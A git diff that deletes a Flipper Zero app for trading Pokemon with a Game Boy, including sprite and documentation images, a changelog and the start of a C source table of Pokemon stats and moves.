differ diff --git a/applications/external/malveke_pokemon_trading/assets/tentacruel.png b/applications/external/malveke_pokemon_trading/assets/tentacruel.png deleted file mode 100644 index c05e55441f6..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/tentacruel.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/vaporeon.png b/applications/external/malveke_pokemon_trading/assets/vaporeon.png deleted file mode 100644 index f35e7423121..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/vaporeon.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/venomoth.png b/applications/external/malveke_pokemon_trading/assets/venomoth.png deleted file mode 100644 index aab5e3de341..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/venomoth.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/venonat.png b/applications/external/malveke_pokemon_trading/assets/venonat.png deleted file mode 100644 index fcfdb8aef2c..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/venonat.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/venusaur.png b/applications/external/malveke_pokemon_trading/assets/venusaur.png deleted file mode 100644 index fc6855f4ba1..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/venusaur.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/victreebel.png b/applications/external/malveke_pokemon_trading/assets/victreebel.png deleted file mode 100644 index 39ab7e7c517..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/victreebel.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/vileplume.png b/applications/external/malveke_pokemon_trading/assets/vileplume.png deleted file mode 100644 index dc4964682ff..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/vileplume.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/voltorb.png b/applications/external/malveke_pokemon_trading/assets/voltorb.png deleted file mode 100644 index 17255260c67..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/voltorb.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/vulpix.png b/applications/external/malveke_pokemon_trading/assets/vulpix.png deleted file mode 100644 index 55030c587de..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/vulpix.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/wartortle.png b/applications/external/malveke_pokemon_trading/assets/wartortle.png deleted file mode 100644 index 66eb1f14874..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/wartortle.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/weedle.png b/applications/external/malveke_pokemon_trading/assets/weedle.png deleted file mode 100644 index a1a7c530d48..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/weedle.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/weepinbell.png b/applications/external/malveke_pokemon_trading/assets/weepinbell.png deleted file mode 100644 index 33de83487ab..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/weepinbell.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/weezing.png b/applications/external/malveke_pokemon_trading/assets/weezing.png deleted file mode 100644 index f07c40d10ed..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/weezing.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/wigglytuff.png b/applications/external/malveke_pokemon_trading/assets/wigglytuff.png deleted file mode 100644 index ed51e8df80b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/wigglytuff.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/zapdos.png b/applications/external/malveke_pokemon_trading/assets/zapdos.png deleted file mode 100644 index ce452afad3a..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/zapdos.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/zubat.png b/applications/external/malveke_pokemon_trading/assets/zubat.png deleted file mode 100644 index fd1bb19baac..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/zubat.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/changelog.md b/applications/external/malveke_pokemon_trading/docs/changelog.md deleted file mode 100644 index 9bf44963cf9..00000000000 --- a/applications/external/malveke_pokemon_trading/docs/changelog.md +++ /dev/null @@ -1,21 +0,0 @@ -# Changelog - Patch Notes - -## Version 1.4 -- **Bug Fixes:** More robust trade logic fixes issues with names, remove ability to use numbers in Pokemon/Trainer names as the game itself will not allow that, fix trade animation not always being animated, make FAP icon 1bpp. -- **Add Features:** Implement trade patch list that Game Boy expects and uses, add ability to return to main menu to modify a Pokemon traded to the Flipper and re-enter trade without the Game Boy needing to power cycle and re-connect through the Link Club, add back debug logging. -- **Trade Refactor:** Eliminate extraneous code, improve robustness of state tracking during trades, isolate Trade's scope to the compilation unit, add notes on exchanged bytes during a trade, improve timing of animation during trade, reduce time spent in interrupt context, follow same setup/hold times for data exchange that the Game Boy uses, reduce use of magic numbers, clean up and improve code tracking real world time - -## Version 1.3 -- **Refactor and UI cleanup:** Convert to Flipper Zero UI modules for simpler interface, reduce binary size. -- **Add Features:** Add ability to set custom Pokemon nickname or default, add ability to set OT name and ID, add ability to select Pokemon type(s). Note that, an evolution as well as a couple of different attacks will cause this to be overwritten with the Pokemon's default values. -- **Bug Fixes:** Fix strange issue with exp gain causing traded Pokemon to de-level and result in incorrect stats. - -## Version 1.2.2 -- **Extended Functionality:** Add support to set level, select moves, set up EV/IV to a few predefined configurations, set up stats based on level and EV/IV settings, set nickname to default Pokemon name. - -## Version 1.2.1 -- **Add GitHub action to build** - -## Version 1.2.0 -- **Cleanup data structs:** This refactors the main data blocks for defining Pokemon, the icon, their species/hex value, as well as the large trade array in to more human friendly structs. Laying some groundwork to be able to adjust Pokemon details pre-trade by @kbembedded . -- **Bug Fixes:** Fix furi crash, Fixes #9 by @kbembedded . diff --git a/applications/external/malveke_pokemon_trading/docs/images/EXT-Link.png b/applications/external/malveke_pokemon_trading/docs/images/EXT-Link.png deleted file mode 100644 index 1501edda4ea..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/EXT-Link.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/GPIO-GBPIN-v2.png b/applications/external/malveke_pokemon_trading/docs/images/GPIO-GBPIN-v2.png deleted file mode 100644 index a88b226eedf..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/GPIO-GBPIN-v2.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/GPIO-GBPIN_light-v2.png b/applications/external/malveke_pokemon_trading/docs/images/GPIO-GBPIN_light-v2.png deleted file mode 100644 index b1588d48f9a..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/GPIO-GBPIN_light-v2.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/back.png b/applications/external/malveke_pokemon_trading/docs/images/back.png deleted file mode 100644 index 09da56874aa..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/back.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/back.svg b/applications/external/malveke_pokemon_trading/docs/images/back.svg deleted file mode 100644 index 7e239d1a05c..00000000000 --- a/applications/external/malveke_pokemon_trading/docs/images/back.svg +++ /dev/null @@ -1,9 +0,0 @@ - - - - \ No newline at end of file diff --git a/applications/external/malveke_pokemon_trading/docs/images/cut-cable-v3.png b/applications/external/malveke_pokemon_trading/docs/images/cut-cable-v3.png deleted file mode 100644 index 67dc89490c6..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/cut-cable-v3.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/dmg_link_port_pinout.png b/applications/external/malveke_pokemon_trading/docs/images/dmg_link_port_pinout.png deleted file mode 100644 index 5acc934195d..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/dmg_link_port_pinout.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-1-1.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-1-1.png deleted file mode 100644 index cf9789daa83..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-1-1.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-1.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-1.png deleted file mode 100644 index 5c9b6e14179..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-1.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-10.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-10.png deleted file mode 100644 index 44c082c8329..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-10.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-11.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-11.png deleted file mode 100644 index e147b13ce1b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-11.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-12.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-12.png deleted file mode 100644 index 9f74a4a3b86..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-12.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-13.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-13.png deleted file mode 100644 index 8f63f556409..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-13.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-2.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-2.png deleted file mode 100644 index ed2c10a7ec6..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-2.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-3.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-3.png deleted file mode 100644 index 6064b587827..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-3.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-5.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-5.png deleted file mode 100644 index 3d4c17892fe..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-5.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6-1.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6-1.png deleted file mode 100644 index 69ac692e12c..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6-1.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6-2.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6-2.png deleted file mode 100644 index d2925d51132..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6-2.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6.png deleted file mode 100644 index ed7bf9f9500..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-6.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-7.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-7.png deleted file mode 100644 index 74ef119f049..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-7.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-8-1.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-8-1.png deleted file mode 100644 index 30b5621b768..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-8-1.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-8.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-8.png deleted file mode 100644 index 981f1e9cd3b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-8.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-9.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-9.png deleted file mode 100644 index ff758de4c3f..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat-9.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.png deleted file mode 100644 index fb4b37fb4fe..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.psd b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.psd deleted file mode 100644 index ba2ba8b5fbf..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.psd and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.xcf b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.xcf deleted file mode 100644 index d92f3e3e32d..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-flat.xcf and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-pcb.png b/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-pcb.png deleted file mode 100644 index e947578c775..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/flipper-zero-pcb.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/game_boy_pokemon_center.png b/applications/external/malveke_pokemon_trading/docs/images/game_boy_pokemon_center.png deleted file mode 100644 index d802ea8aab7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/game_boy_pokemon_center.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/game_boy_save.png b/applications/external/malveke_pokemon_trading/docs/images/game_boy_save.png deleted file mode 100644 index b7f6da88132..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/game_boy_save.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/game_boy_save_trade.png b/applications/external/malveke_pokemon_trading/docs/images/game_boy_save_trade.png deleted file mode 100644 index 2cdc28d1bf4..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/game_boy_save_trade.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list.png b/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list.png deleted file mode 100644 index 87b9d1b781d..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list_select_trade.png b/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list_select_trade.png deleted file mode 100644 index 2971e1e55bc..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list_select_trade.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list_select_trade_confirm.png b/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list_select_trade_confirm.png deleted file mode 100644 index 3fbf76a042f..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_list_select_trade_confirm.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_room.png b/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_room.png deleted file mode 100644 index 65fd2e2660a..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_room.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_room_2.png b/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_room_2.png deleted file mode 100644 index b443abb0f5b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/game_boy_trade_room_2.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/gb_spi.png b/applications/external/malveke_pokemon_trading/docs/images/gb_spi.png deleted file mode 100644 index 392334ed054..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/gb_spi.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/gblpof.gif b/applications/external/malveke_pokemon_trading/docs/images/gblpof.gif deleted file mode 100644 index a37b8bc8973..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/gblpof.gif and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/implemented.svg b/applications/external/malveke_pokemon_trading/docs/images/implemented.svg deleted file mode 100644 index 79b2b8a9ea8..00000000000 --- a/applications/external/malveke_pokemon_trading/docs/images/implemented.svg +++ /dev/null @@ -1,15 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/applications/external/malveke_pokemon_trading/docs/images/left.png b/applications/external/malveke_pokemon_trading/docs/images/left.png deleted file mode 100644 index 87f2654b6c9..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/left.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/left.svg b/applications/external/malveke_pokemon_trading/docs/images/left.svg deleted file mode 100644 index 3cc8c8eb61e..00000000000 --- a/applications/external/malveke_pokemon_trading/docs/images/left.svg +++ /dev/null @@ -1,6 +0,0 @@ - - - \ No newline at end of file diff --git a/applications/external/malveke_pokemon_trading/docs/images/pcb.png b/applications/external/malveke_pokemon_trading/docs/images/pcb.png deleted file mode 100644 index 1745ca43e4f..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/pcb.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/qFlipper.png b/applications/external/malveke_pokemon_trading/docs/images/qFlipper.png deleted file mode 100644 index 10ebe8db412..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/qFlipper.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/reboot.png b/applications/external/malveke_pokemon_trading/docs/images/reboot.png deleted file mode 100644 index 517e5e3a670..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/reboot.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/wgbl-0.png b/applications/external/malveke_pokemon_trading/docs/images/wgbl-0.png deleted file mode 100644 index 6fbb12b135e..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/wgbl-0.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/docs/images/white_flat.svg b/applications/external/malveke_pokemon_trading/docs/images/white_flat.svg deleted file mode 100644 index 49c7733c37b..00000000000 --- a/applications/external/malveke_pokemon_trading/docs/images/white_flat.svg +++ /dev/null @@ -1,744 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/applications/external/malveke_pokemon_trading/docs/images/youtube.png b/applications/external/malveke_pokemon_trading/docs/images/youtube.png deleted file mode 100644 index 8fcc4ef4189..00000000000 Binary files a/applications/external/malveke_pokemon_trading/docs/images/youtube.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/pokemon_10px.png b/applications/external/malveke_pokemon_trading/pokemon_10px.png deleted file mode 100644 index 10187916484..00000000000 Binary files a/applications/external/malveke_pokemon_trading/pokemon_10px.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/pokemon_app.c b/applications/external/malveke_pokemon_trading/pokemon_app.c deleted file mode 100644 index 13c25816ab0..00000000000 --- a/applications/external/malveke_pokemon_trading/pokemon_app.c +++ /dev/null @@ -1,2246 +0,0 @@ -#include -#include -#include - -#include "scenes/pokemon_menu.h" -#include "views/trade.h" -#include "views/select_pokemon.h" -#include "pokemon_app.h" -#include "pokemon_char_encode.h" - -const PokemonTable pokemon_table[] = { - /* Values for base_*, moves, etc., pulled directly from a copy of Pokemon Blue */ - {"Bulbasaur", - &I_bulbasaur, - 0x99, - 0x2D, - 0x31, - 0x31, - 0x2D, - 0x41, - {0x16, 0x03}, - {0x21, 0x2D, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Ivysaur", - &I_ivysaur, - 0x09, - 0x3C, - 0x3E, - 0x3F, - 0x3C, - 0x50, - {0x16, 0x03}, - {0x21, 0x2D, 0x49, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Venusaur", - &I_venusaur, - 0x9A, - 0x50, - 0x52, - 0x53, - 0x50, - 0x64, - {0x16, 0x03}, - {0x21, 0x2D, 0x49, 0x16}, - GROWTH_MEDIUM_SLOW}, - {"Charmander", - &I_charmander, - 0xB0, - 0x27, - 0x34, - 0x2B, - 0x41, - 0x32, - {0x14, 0x14}, - {0x0A, 0x2D, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Charmeleon", - &I_charmeleon, - 0xB2, - 0x3A, - 0x40, - 0x3A, - 0x50, - 0x41, - {0x14, 0x14}, - {0x0A, 0x2D, 0x34, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Charizard", - &I_charizard, - 0xB4, - 0x4E, - 0x54, - 0x4E, - 0x64, - 0x55, - {0x14, 0x02}, - {0x0A, 0x2D, 0x34, 0x2B}, - GROWTH_MEDIUM_SLOW}, - {"Squirtle", - &I_squirtle, - 0xB1, - 0x2C, - 0x30, - 0x41, - 0x2B, - 0x32, - {0x15, 0x15}, - {0x21, 0x27, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Wartortle", - &I_wartortle, - 0xB3, - 0x3B, - 0x3F, - 0x50, - 0x3A, - 0x41, - {0x15, 0x15}, - {0x21, 0x27, 0x91, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Blastoise", - &I_blastoise, - 0x1C, - 0x4F, - 0x53, - 0x64, - 0x4E, - 0x55, - {0x15, 0x15}, - {0x21, 0x27, 0x91, 0x37}, - GROWTH_MEDIUM_SLOW}, - {"Caterpie", - &I_caterpie, - 0x7B, - 0x2D, - 0x1E, - 0x23, - 0x2D, - 0x14, - {0x07, 0x07}, - {0x21, 0x51, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Metapod", - &I_metapod, - 0x7C, - 0x32, - 0x14, - 0x37, - 0x1E, - 0x19, - {0x07, 0x07}, - {0x6A, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Butterfree", - &I_butterfree, - 0x7D, - 0x3C, - 0x2D, - 0x32, - 0x46, - 0x50, - {0x07, 0x02}, - {0x5D, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Weedle", - &I_weedle, - 0x70, - 0x28, - 0x23, - 0x1E, - 0x32, - 0x14, - {0x07, 0x03}, - {0x28, 0x51, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Kakuna", - &I_kakuna, - 0x71, - 0x2D, - 0x19, - 0x32, - 0x23, - 0x19, - {0x07, 0x03}, - {0x6A, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Beedrill", - &I_beedrill, - 0x72, - 0x41, - 0x50, - 0x28, - 0x4B, - 0x2D, - {0x07, 0x03}, - {0x1F, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Pidgey", - &I_pidgey, - 0x24, - 0x28, - 0x2D, - 0x28, - 0x38, - 0x23, - {0x00, 0x02}, - {0x10, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Pidgeotto", - &I_pidgeotto, - 0x96, - 0x3F, - 0x3C, - 0x37, - 0x47, - 0x32, - {0x00, 0x02}, - {0x10, 0x1C, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Pidgeot", - &I_pidgeot, - 0x97, - 0x53, - 0x50, - 0x4B, - 0x5B, - 0x46, - {0x00, 0x02}, - {0x10, 0x1C, 0x62, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Rattata", - &I_rattata, - 0xA5, - 0x1E, - 0x38, - 0x23, - 0x48, - 0x19, - {0x00, 0x00}, - {0x21, 0x27, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Raticate", - &I_raticate, - 0xA6, - 0x37, - 0x51, - 0x3C, - 0x61, - 0x32, - {0x00, 0x00}, - {0x21, 0x27, 0x62, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Spearow", - &I_spearow, - 0x05, - 0x28, - 0x3C, - 0x1E, - 0x46, - 0x1F, - {0x00, 0x02}, - {0x40, 0x2D, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Fearow", - &I_fearow, - 0x23, - 0x41, - 0x5A, - 0x41, - 0x64, - 0x3D, - {0x00, 0x02}, - {0x40, 0x2D, 0x2B, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Ekans", - &I_ekans, - 0x6C, - 0x23, - 0x3C, - 0x2C, - 0x37, - 0x28, - {0x03, 0x03}, - {0x23, 0x2B, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Arbok", - &I_arbok, - 0x2D, - 0x3C, - 0x55, - 0x45, - 0x50, - 0x41, - {0x03, 0x03}, - {0x23, 0x2B, 0x28, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Pikachu", - &I_pikachu, - 0x54, - 0x23, - 0x37, - 0x1E, - 0x5A, - 0x32, - {0x17, 0x17}, - {0x54, 0x2D, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Raichu", - &I_raichu, - 0x55, - 0x3C, - 0x5A, - 0x37, - 0x64, - 0x5A, - {0x17, 0x17}, - {0x54, 0x2D, 0x56, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Sandshrew", - &I_sandshrew, - 0x60, - 0x32, - 0x4B, - 0x55, - 0x28, - 0x1E, - {0x04, 0x04}, - {0x0A, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Sandslash", - &I_sandslash, - 0x61, - 0x4B, - 0x64, - 0x6E, - 0x41, - 0x37, - {0x04, 0x04}, - {0x0A, 0x1C, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Nidoran\200", - &I_nidoranf, - 0x0F, - 0x37, - 0x2F, - 0x34, - 0x29, - 0x28, - {0x03, 0x03}, - {0x2D, 0x21, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Nidorina", - &I_nidorina, - 0xA8, - 0x46, - 0x3E, - 0x43, - 0x38, - 0x37, - {0x03, 0x03}, - {0x2D, 0x21, 0x0A, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Nidoqueen", - &I_nidoqueen, - 0x10, - 0x5A, - 0x52, - 0x57, - 0x4C, - 0x4B, - {0x03, 0x04}, - {0x21, 0x0A, 0x27, 0x22}, - GROWTH_MEDIUM_SLOW}, - {"Nidoran\201", - &I_nidoranm, - 0x03, - 0x2E, - 0x39, - 0x28, - 0x32, - 0x28, - {0x03, 0x03}, - {0x2B, 0x21, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Nidorino", - &I_nidorino, - 0xA7, - 0x3D, - 0x48, - 0x39, - 0x41, - 0x37, - {0x03, 0x03}, - {0x2B, 0x21, 0x1E, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Nidoking", - &I_nidoking, - 0x07, - 0x51, - 0x5C, - 0x4D, - 0x55, - 0x4B, - {0x03, 0x04}, - {0x21, 0x1E, 0x28, 0x25}, - GROWTH_MEDIUM_SLOW}, - {"Clefairy", - &I_clefairy, - 0x04, - 0x46, - 0x2D, - 0x30, - 0x23, - 0x3C, - {0x00, 0x00}, - {0x01, 0x2D, 0x00, 0x00}, - GROWTH_FAST}, - {"Clefable", - &I_clefable, - 0x8E, - 0x5F, - 0x46, - 0x49, - 0x3C, - 0x55, - {0x00, 0x00}, - {0x2F, 0x03, 0x6B, 0x76}, - GROWTH_FAST}, - {"Vulpix", - &I_vulpix, - 0x52, - 0x26, - 0x29, - 0x28, - 0x41, - 0x41, - {0x14, 0x14}, - {0x34, 0x27, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Ninetales", - &I_ninetales, - 0x53, - 0x49, - 0x4C, - 0x4B, - 0x64, - 0x64, - {0x14, 0x14}, - {0x34, 0x27, 0x62, 0x2E}, - GROWTH_MEDIUM_FAST}, - {"Jigglypuff", - &I_jigglypuff, - 0x64, - 0x73, - 0x2D, - 0x14, - 0x14, - 0x19, - {0x00, 0x00}, - {0x2F, 0x00, 0x00, 0x00}, - 